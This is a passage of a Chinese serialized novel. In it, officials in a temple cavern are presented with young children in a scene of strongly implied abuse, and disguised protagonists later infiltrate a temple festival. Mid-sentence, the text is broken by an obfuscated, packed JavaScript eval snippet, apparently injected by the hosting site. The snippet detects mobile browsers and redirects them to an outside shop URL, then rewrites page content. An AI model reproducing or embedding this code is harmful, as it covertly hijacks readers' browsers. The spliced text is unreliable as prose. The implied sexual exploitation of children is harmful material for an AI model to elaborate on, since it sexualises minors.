乡野村夫……这个词着实戳到了钱度的痛处，当下颜色讪讪道：“下官……下官只是太激动了……”嘴上这般说着，可他的眼神还是不自觉地瞟向船舷外，心里的好奇若野草般疯长。也不知赵县令说的主石窟，到底藏着何等惊世骇俗的景象？ 恰在此时，船停了。 “诸位大人，请下船吧！”钱度听到，船头的智空住持冷冷道。他心中有些奇怪，这位智空住持今夜似乎格外冷淡，无论说话做事都无有甚笑意，眼神也是直愣愣的，同白日里殷勤周到的样子颇有些不同。 可时间已经不允他多想，船上的众人动了起来，一个挨着一个，组成一条披着华服锦袍的巨蟒，迤逦而下。 挤在众人之中，钱度的脚还没有踩到地面，眼睛便被面前的情景直勾勾地攫住了。 眼前的洞穹顶高逾十丈，壁面如削，竟凿着数十个石窟：大者丈二见方，足以容十数人围坐品茗；小者五尺宽窄，仅够两人对酌论道。每个石窟的檐角都悬着一盏琉璃灯，灯台是羊脂玉琢成的莲座，莲座上佛陀端坐，手捧灯芯，灯火辉煌；石窟四壁镶嵌着难以计数的菱花铜镜，将灯影反复折射，竟似有无穷无尽的灯盏在壁间流转，连洞顶都映得如同星河倒灌，万点金光，散落如雨。 鼻端隐隐传来一股异香，将整个石窟熏蒸得愈发鲜花着锦、烈火烹油。 钱度张着嘴，半天没合上，连呼吸都忘了。这哪里是人间景象？分明是仙阙里的琉璃幻境！那些灯影交织成一张巨大的网，漫过他的眼，拢住他的身，让他的五脏六腑都随之震颤雀跃。 旁边的赵县令轻嗤一声，他见过太多凡夫俗子被这无尽灯境所慑，震撼欲狂的样子。只窥得无尽灯境的皮毛便已魂不守舍，待那真正的“心灯遍照”之景乍现，估计这土鸡瓦狗更要神不守舍，涎水横流了。 正想着，却听智空大师双手合十道：“诸位大人，此灯境名为‘无尽’，非止灯盏无尽，更在心灯无尽。一灯燃万灯，万灯照万心，心灯明澈处，便是西方极乐之境。今日诸位与佛有缘，得入此境，愿诸位檀越早证菩提，共赴极乐之约。” 话音未落，一旁的钱度倒抽一口冷气，指着面前的石窟，不知是惊恐还是激动，竟是哆嗦个不停：“赵大人……你看！仙……仙童！” 74. 无尽灯（十六） 每个石窟被灯影摇曳的璀璨光华里，都悄无声息地步出一道纤细身影，皆是约莫十岁以下的孩童。他们尽皆着一身月白暗花绫襦，肩披素色透纱飞天披帛，赤足踩在铺着绒毯的石地上。瘦弱的脚踝上系着莲花铃串，随着他们的走动叮当作响。香雾从石窟深处漫出，将他们的身影裹得半明半暗，恍若从壁画中走出的无魂之躯。 “诸位檀越，此乃佛前仙童，得受佛光庇佑。请檀越们每人择一石窟，仙童引路，共赴无尽灯境。”智空住持的声音依旧冰冷，仿若毫无感情一般。 钱度听得打了一个冷战，怔愣地看着身边的诸位大人如同撒了欢儿的野狗一般，向面前的石窟涌去。他们大都年老体衰，胡子都泛了白，此刻却都胳膊肘架起往两边横搡着，仿佛逝去的华年与尊严在一瞬间重新注入体内。而像他这般官阶较低，正值壮年之人，也早已忘了尊卑有序的同僚之谊，手脚并用地向石窟中爬去，恨不得把阻在前面的人都撞飞出去。 钱度就这样瞠目结舌地看着，看那朱袍紫服皆成虫蠹，看那冠带簪缨尽化狐鼠。 一旁的赵县令冷嗤一声，拢了拢棉袍的领子，抬脚便往最近的一个石窟走去，袖口却猛地一紧，被人死死拉住。 赵县令不耐烦地回头道：“钱大人又怎么了？” 钱度的嘴唇哆嗦着，目光扫过那些眼神空洞的仙童，半晌才道：“他们……都是孩子啊……我们……我们要做什么啊？” 赵县令气乐了：“做什么？智空大师都说了，共赴极乐！入了这无尽灯境，他们是仙童，我们是求道者，哪来什么大人孩子？钱大人要是胆小如鼠，就兹管留在这儿喝西北风，莫要耽误本官证道菩提！” “可是他们……”钱度还想说什么，赵县令却猛地甩开他的手，力道之大让钱度差点儿摔一个趔趄。 “放手！乡野村夫……”说完，赵县令再也不理钱度，头也不回地向石窟走去。 钱度依旧僵在原地。 乡野村夫……为官十五载，他始终摘不掉那出身寒微的帽子。今日耗尽家财，方换得敖大人青眼相待，跻身簪缨之列。若为了那丁点儿良心失却这机会，只怕今生今世再无出头之日！ 钱度深吸一口气，狠命咬了一口下唇，只觉口中泛起甜腥。他慢慢挺直了微驼的脊背，整理了一下被赵县令扯皱的领口，抬起脚，和周围无数狂热的背影融在一处。 * * * 莲华盛会当日，水月寺山门前人头攒动，摩肩接踵。一片喧嚣声中，一辆乌木马车堪堪停在阶下，帘幔微动，一只雪白的柔荑从帘后探了出来。 车外候着的两位丫鬟，立时抬臂上前扶住。左边的丫鬟一身桃红色比甲，内着浅绯琵琶袖，杏眼桃腮，双丫髻上系着绿丝绦，看上去如同一颗刚从清晨露水中沁过的小桃子，极是可爱灵俏。 右边的丫鬟却是更惹眼些。她比左边的小桃子高出两个头，削肩细腰，顾盼神飞，恰如五月间盛放的蔷薇花，明艳绝伦。 及至马车中的夫人，请移玉步下得车来，方才还吵嚷的人群陡然噤声，皆屏息凝神，偷眼瞧了过来。这位夫人戴着一顶用上好的杭纺细纱织就的雪白福巾，臻首微垂，只隐约露出半张侧脸，恰似轻云蔽月，梨花沐雨，海棠迎风。 人群不自觉地往两边退开，让出一条窄窄的通路，随车的小厮倒也省得驱赶，护着主仆三人往水月寺中去。 人群依旧静悄悄的，直到夫人的身影即将消失在山门内，才有个香客回过神来，大着胆子喊道：“夫人且留步！今日莲华盛会，寺里竟没见半位引路师父，大伙儿都在阶下候着哩！您看是不是稍待片刻，等师父们出来接引再行入寺？” 闻言，四人的背影顿了一顿。抬眼望去，偌大的水月寺山门半掩，别说是引路僧人了，便是连个打扫的小沙弥都不见一人。整个寺庙静得若一潭深水，没有诵经声，没有钟声，连虫鸣都销声匿迹，只有一种沉沉的、空落落的寂。 只见那小厮附耳上前，听夫人低语几句后，转身面向众人，拱手朗声道：“诸位，我家夫人说，莲华盛会之吉时乃是因缘聚合的善机，一年仅此一次。菩萨心怀慈悲，不拘泥于外相，既然寺中并无引路师父，纵使此刻先行入寺，菩萨也不会怪罪。可若是误了吉时，才是错失良机啊！” “诸位，有缘再会。” 话毕，主仆四人的身影便没入山门的阴影里。阶下等待的众人沉默了片刻，紧接着便响起了叽叽喳喳的讨论声。 大家已经苦苦候了一个时辰了，寺中却是一点儿响动也无。想来，也不会有什么出来接引的师父了。 这时，一名穿着宝蓝色短袄的青年人排众而出，啐了口口水，抿了抿油亮的鬓角笑道：“怕啥？那漂亮夫人不是说了，菩萨不拘……不拘小节嘛！走着！”说着便拨开身边的香客，大步往山门里闯，身后两个同伴也嬉笑着跟上：“可不是！咱倒要看看这庙里今儿究竟是怎么了！” 这倒好，一石激起千层浪，人群里积压的不耐终于爆发。众人都互相推挤着，喧嚷着涌动起来，连方才提醒女子的香客，也叹了口气，把手里的念珠往腕上一圈，跟着人流往里去。 这座水月寺纵横极广，飞檐翘角连绵成片，青石板路纵横交错，连放生池都宽得像半亩小湖。成百上千人这一把撒进去，竟连半分拥挤的迹象都没有，反而显得众人的身影格外渺小。 人往往就是如此，檀越香客平日里前来，倒并不过分瞩目那些僧侣沙弥。可今日一旦不见了他们的身影，反而愈发想寻出一俩，仔细探问些情况。于是，这莲华盛会成了“寻僧”大会，众人那看看，这转转，推推禅房门，翻翻枯叶堆，好不热闹。 而方才带着众人一拥而入的穿宝蓝短袄的青年人，此刻却全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184874|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然没有什么寻僧人的心思。他只是拉拽着几名狐朋狗友，眼睛像沾了蜜的苍蝇，死死黏在前面不远的那窈窕身影上。他不时理理鬓角，扥扥领口，正正玉带，狂蜂浪蝶的样子引得同伴也忍不住奚落。 他却浑不在意，大喇喇道：“你们懂个屁！你们看那夫人，观音似的模样，身边就一个小厮，外加两个美貌丫鬟，不就与话本里写的‘佳人落单遇知音’一般？” “本公子若是上前搭个话、问个路，夫人抬眼看我，我回眸望她，才子佳人，郎才女貌，一见倾心……”他一边说，一边不由自主地抬起手，拿袖口擦蹭了一下快要流下来的口水。 同伴们哄堂大笑，用手肘怼着他道：“那你还不快去！” 几名登徒子的浑话隐隐约约传到前面四人耳中，那小厮俏脸一寒，口中念念有词。 头戴福巾的夫人瞅了他一眼，轻声道：“这几个人还有用，别动歪脑筋。” 这夫人不是别人，正是长生观魁首——晏回。再看她身边的两位丫鬟，那位梳着双丫髻的“小桃子”，自然是永远常伴身侧的唐珠儿；而另一位美貌闺秀，竟是男扮女装的苦主姚知雪！他本就长得纤瘦白皙，此刻扮上女装，竟真是同女娇娥一般无二。而那忿忿不平的小厮，自然就是范凌舟了。 他今日气儿格外不顺，先是眼睁睁看着西楼同姚知雪相互搀扶，如同姊妹一般；又听到一帮登徒子口出狂言，讨打不休。姚知雪毕竟是苦主，暂且不论；可那几个孙子……若不是此刻有任务在身，只怕那几个狂蜂浪蝶早被他头朝下塞进放生池中了。 突然，走在前面的晏回脚步一顿，声音里带着恰到好处的惊讶与怯意：“哎呀！” 唐珠儿立刻上前扶住她的胳膊，放大音量惊呼道：“夫人……夫人您怎么了？” 这清亮亮的一声喊，引得周围寻僧的香客纷纷侧目，而始终踪在身后的“宝蓝短袄”见有机可乘，一个箭步窜上前来，护在晏回身前：“夫人莫慌！我看谁敢伤你！” 众人你瞧瞧我，我瞧瞧你，除了那“宝蓝短袄”，倒是没瞧见任何一个图谋不轨之徒。 晏回惊惶地喘息着，抬手指向面前的假山：“妾身是说……是说这假山……” “宝蓝短袄”一怔，看了看那座假山，有些尴尬地将自己平展开的双臂耷拉下来，藏在身后，故作镇定、搜肠刮肚道：“哦哦！您说这座假山啊！这……这假山的确是古怪嶙峋，颇有‘艮岳’遗风。在下听家父说，此座假山正是花石纲遗石，石质温润如玉，纹理天然成画，夫人为此石所惊实在是再正常不过了！想必夫人初来乍到，不熟悉寺中路径，在下愿为向导，带夫人一观。” 晏回放下捂在胸口的手，冲着“宝蓝短袄”眯眼一笑，笑得对方三魂没了七魄，眼神都有些迷离了。 “公子误会了，妾身只是觉得，这假山……换位置了。”